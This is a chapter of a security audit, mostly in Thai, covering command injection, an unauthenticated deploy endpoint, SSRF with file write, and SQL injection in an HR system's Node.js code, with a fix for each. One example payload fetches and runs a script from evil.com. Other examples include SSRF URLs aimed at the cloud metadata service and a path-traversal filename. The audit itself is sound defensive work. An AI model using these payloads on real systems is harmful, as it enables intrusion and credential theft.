10.6 · Injection + RCE
บทนี้ catalog ช่องโหว่ injection ทั้งหมดที่พบ — command injection ผ่าน execSync, SQL injection ใน statLog.js, และ SSRF + arbitrary file write ใน Conicle proxy เป็นหมวดที่มี impact รุนแรงที่สุดเพราะนำไปสู่ RCE ได้
Injection vector map
User input → ? → Code execution
│
├──▶ shell string (execSync) → command injection → RCE
├──▶ SQL string concatenation → SQL injection → data exfiltration
├──▶ outbound HTTP URL (axios) → SSRF → internal access
└──▶ file path (path.resolve) → path traversal → file read/writeVTRC มีทั้ง 4 vector — บทนี้ cover 3 อันแรก (path traversal อยู่ในบท 9.7)
1 · Command injection ผ่าน qpdf execSync (Critical × 5)
PDF encryption ใช้ qpdf CLI ผ่าน execSync โดย interpolate ค่าจาก DB เข้าไปใน shell string โดยไม่ escape
import { execSync } from 'child_process' let cmd = `qpdf --encrypt ${allData.passwordPDF} ${allData.passwordPDF} 40 -- ${allData.pathfilePDF}/${allData.file}1.pdf ${allData.pathfilePDF}/${allData.file}.pdf && rm ${allData.pathfilePDF}/${allData.file}1.pdf`
try {
execSync(cmd);template literal ${...} ทั้ง 4 ตัว (passwordPDF, pathfilePDF, file, passwordPDF ซ้ำ) มาจาก DB row ที่ lookup ด้วย URL params ถ้าค่าใน DB มี shell metacharacter (;, &&, `, $(), |) มันจะถูก shell interpret เป็น command แยก
5 endpoints ที่มี pattern เดียวกัน
| Endpoint | Line | Source ของ interpolated value |
|---|---|---|
GET /readfile/prs/:year/:month/:pid/:empcode/:device/:timestamp/:hash | routes.js:73-75 | DB lookup by :empcode + :pid |
GET /tax/:year/:month/:pid/:empcode/:device/:timestamp/:hash | routes.js:120-122 | DB lookup, passwordPDF = identityCard |
GET /tax6month/... | routes.js:227-229 | DB lookup, same shape |
GET /taxyears/... | routes.js:277-279 | DB lookup, same shape |
GET /salarycert/:pid/:empcode/:device/:profileKey/:documentType/:timestamp | routes.js:355-357 | DB lookup, passwordPDF = detail.identityCard |
Exploit scenario
PDF encryption password derive มาจาก identityCard (Thai national ID 13 หลัก) ของ employee ปกติแล้ว identityCard คือตัวเลขล้วน — แต่
- ถ้ามี data entry bug ที่ใส่ whitespace เข้าไป (
"1234567890123 ") shell จะ split argument - ถ้า HR master data ถูก poison โดย insider ที่ใส่
"123; curl evil.com/x.sh | bash #"ใน field ที่ map ไปidentityCard→ RCE ทันที - ถ้ามี SQL injection อื่น (เช่น statLog ด้านล่าง) ที่เขียน
identityCardใน DB → second-order RCE
Authentication ของ endpoints
endpoint เหล่านี้ตรวจแค่ timestamp freshness (3600s window) + hash path segment — ไม่ได้ verify Bearer JWT โดยตรง ถ้า hash construction ใช้ algorithm ที่ predictable (หรือ derive จากค่าที่ attacker รู้) endpoint จะเข้าถึงได้โดย unauthenticated
วิธีแก้
// ไม่ดี — shell string interpolation
execSync(`qpdf --encrypt ${password} ${password} 40 -- ${input} ${output}`)
// ดี — execFile กับ arg array (no shell)
import { execFile } from 'child_process'
execFile('qpdf', [
'--encrypt', password, password, '40',
'--', inputPath, outputPath
], (err) => { /* ... */ })ใน Go target ใช้ os/exec กับ []string args — เป็น arg slicing โดย design ไม่มี shell เลย
2 · /webdeployment unauthenticated RCE (Critical)
app.use('/webdeployment', async function (req, res) {
try {
let output = execSync("vtrc-update-uat-loadtest")
log.info(log.logTextFormat("INFO", 'Method:GET | Route:/webdeployment', 'Test deploy by itself.', output))
res.send("Success")
} catch (err) {
log.error(log.logTextFormat('ERROR', `Method:GET | Route:/webdeployment`, 'ERROR', (err.stack)))
res.sendStatus(500)
}
})🔴 Critical — app.use('/webdeployment', ...) mount บนทุก HTTP method โดย ไม่มี authentication check เลย
vtrc-update-uat-loadtestเป็น executable บนPATH- ถ้า attacker เขียนไฟล์ได้ที่ directory ใด ๆ บน container
PATH→ RCE ทันที - ถ้า script นั้น mutable (เช่น mount จาก volume ที่ไม่ read-only) → modify script = RCE
- แม้ไม่มี PATH poisoning ก็เป็น DoS — trigger load-test/deploy ไม่จำกัดครั้ง
app.usemount บนทุก sub-path ด้วย (/webdeployment/fooก็ trigger)
วิธีแกะ
- ลบ endpoint ออก
- ใช้ CI/CD pipeline trigger แทน HTTP endpoint
- ถ้าจำเป็นต้องมี ใช้ webhook secret + restrict เฉพาะ internal CIDR
3 · SSRF + arbitrary file write ใน Conicle proxy (Critical)
app.get(`${API_PREFIX_PATH}/conicle/getFileFromUrl`, async function (req, res, next) {
const sessionID = req.query.session_id;
const url = req.query.url;
...
var options = {
'method': 'GET',
'responseType': 'stream',
'url': `${url}`,
'headers': {
'Cookie': `sessionid=${sessionID};`
}
};
const result = await axios(options).then(response => {
return new Promise(async (resolve, reject) => {
...
const filePath = path.resolve(process.env.PWD, 'storage/prs/');
const file = `${filePath}/${fileName.toString()}`;
try {
await pipeline(response.data, fs.createWriteStream(`${file}`))🔴 Critical — req.query.url ส่งตรงเข้า outbound axios.get โดยไม่ validate
SSRF vectors
| URL ที่ attacker ส่ง | ผลลัพธ์ |
|---|---|
http://169.254.169.254/computeMetadata/v1/ | GCP/AWS metadata service → เอา SA token |
http://vtrc-database:3306 | probe internal service |
http://vtrc-redis-db:6379 | probe Redis (ยิ่งถ้า no-auth) |
http://localhost:8093/ | เข้า phpMyAdmin internal |
file:///etc/passwd | (ขึ้น axios config — บางเวอร์ชัน block file://) |
Arbitrary file write
filename มาจาก Content-Disposition header ของ remote server — ที่ attacker ควบคุมได้เมื่อ SSRF ไปที่เซิร์ฟเวอร์ของตัวเอง ถ้าตั้ง Content-Disposition: attachment; filename="../../tmp/evil.sh" path.resolve จะลงนอก storage/prs/
Authentication
endpoint นี้ใช้ ${API_PREFIX_PATH} prefix ซึ่งอาจมี auth middleware แต่ไม่ชัดเจนใน code — ต้อง verify ก่อนสรุป
วิธีแกะ
- URL allow-list (เฉพาะ domain ที่ trusted)
- Block
127.0.0.0/8,10.0.0.0/8,169.254.169.254,::1และ internal CIDR - Validate filename ที่เขียน — normalize แล้ว verify ว่ายังอยู่ใน
storage/prs/(ใช้path.relative+ check..)
4 · SQL injection ใน statLog.js (Critical)
let empCodeData = "";
for(var i = 0; i < logEventActiveData.length; i++) {
empCodeData += "'"+logEventActiveData[i].param+"'";
if(i != logEventActiveData.length - 1){
empCodeData += ', '
}
} let query = `
SELECT param, createdAt
FROM Users
WHERE param IN (${empCodeData})
ORDER BY param ASC
`;
let activatedDate = await Models.db2.query(query, { replacements: { empCodeData }, type: QueryTypes.SELECT })🔴 Critical — empCodeData สร้างโดย concat ' + value + ' โดยตรง ถ้า value มี ' SQL string literal จะ break
logEventActiveData มาจาก axios POST ไป ${END_POINT_LOG_EVENT}/log-event-api/api/v1/logEventActive (บรรทัด 19) — second-order injection ถ้า upstream service ถูก compromise หรือ log มี data ที่ contain quote
Pattern เดียวกันซ้ำ 6 ครั้งในไฟล์เดียว
| Line | Pattern |
|---|---|
| 36-43 | Active SELECT |
| 74-78 | Active INSERT |
| 112-119 | Activated SELECT |
| 150-154 | Activated INSERT |
| 188-195 | Usage SELECT |
| 226-230 | Usage INSERT |
replacements arg ไม่ทำงาน
let activatedDate = await Models.db2.query(query, { replacements: { empCodeData }, type: QueryTypes.SELECT })replacements: { empCodeData } ส่งไปแต่ query string ไม่มี :empCodeData placeholder — ทำให้ replacements ไม่ถูก bind เป็น false security
db2 schema
Models.db2 เป็น connection ไป MSSQL dbHRMI_Center (ดู Volume 8.1) — เก็บ HR data (IdentityCard, salary, organization) injection ที่นี่ = exfiltration + tampering ข้อมูล HR ทั้งหมด
วิธีแกะ
// ไม่ดี — string concat
let query = `WHERE param IN (${empCodeData})`
// ดี — named placeholder + array
let query = `WHERE param IN (:empCodes)`
await Models.db2.query(query, {
replacements: { empCodes: logEventActiveData.map(d => d.param) },
type: QueryTypes.SELECT
})5 · SQL injection แบบ defensive hazard ใน withdraw/hospital.js
let query = `
select
${selected}
from
WDHospitals wh
left join Sickness s On
wh.sicknessId = s.sicknessId
WHERE
wh.isHistory = 0
AND wh.status = 'APPROVE'
`
let replacements = {}
if (args.searchKeyword) {
query += ` and (`;
for (let [index, item] of selected.entries()) {
if (index)
query += ` or ${item} like :searchKeyword `;
if (!index)
query += ` ${item} like :searchKeyword `;
}
query += ` ) `;
replacements.searchKeyword = `%${args.searchKeyword}%`
}
const result = await Models.db.query(query, { replacements, type: QueryTypes.SELECT })🟢 Medium — ${selected} และ ${item} interpolate column name array
- วันนี้ปลอดภัย —
selectedเป็น literal array ที่ define ที่บรรทัด 340-356 - พรุ่งนี้อันตราย — ถ้ามีคนแก้ให้ feed
selectedจากargsจะกลายเป็น column-name injection
:searchKeyword ใช้ replacements ถูกต้อง — ไม่ใช่ปัญหา
วิธีแกะ
- Validate
selectedกับ allow-list constant ก่อน interpolate - หรือใช้ Sequelize
AttributesAPI แทน raw SQL
6 · Raw queries อื่น ๆ ที่ปลอดภัย
ตรวจทุก Models.db.query(...) / Models.db2.query(...) ใน codebase — ส่วนใหญ่ใช้ :placeholder + replacements ถูกต้อง
return Models.db.query(`select docType, fromEmpCode, toEmpCode, isActive, startDate, endDate from Delegates where toEmpCode = :empCode and isActive = 1 and now() BETWEEN startDate AND endDate`, { replacements: { empCode }, type: QueryTypes.SELECT })ไฟล์ที่ตรวจแล้วปลอดภัย — repositories/profile/profile.js, repositories/hrmi/hrmiLeave.js, repositories/masterData/masterDropdown.js, logEvent/trxActivity.js, controllers/hrmi/hrmi.js, controllers/study/studyEducationFeeV2.js
centralize-api ใช้ TypeORM parameter binding — ปลอดภัย มี outlier ที่ตั้งชื่อตัวแปรไม่ดี
return this.entityManager.query(fuckQuery, [
query.sourceDB,
query.orgCode,variable ชื่อ fuckQuery เป็น code hygiene issue (แต่ binding ถูกต้อง)
ตารารางสรุปช่องโหว่ในบทนี้
| # | ปัญหา | Severity | File:line | Impact |
|---|---|---|---|---|
| 1 | qpdf execSync injection | 🔴 Critical | routes.js:73,120,227,277,355 | RCE × 5 endpoints |
| 2 | /webdeployment RCE | 🔴 Critical | routes.js:975-984 | Unauthenticated RCE |
| 3 | Conicle SSRF + file write | 🔴 Critical | routes.js:920-951 | Internal access + write |
| 4 | statLog SQL injection | 🔴 Critical | statLog.js:22-43 + 5 จุดอื่น | DB exfiltration (db2) |
| 5 | withdraw hospital column injection hazard | 🟢 Medium | withdraw/hospital.js:357-381 | Defensive |
| 6 | fuckQuery variable name | 🟢 Low | employee.service.ts:181 | Hygiene |
อ่านต่อ → 9.7 File upload + path traversal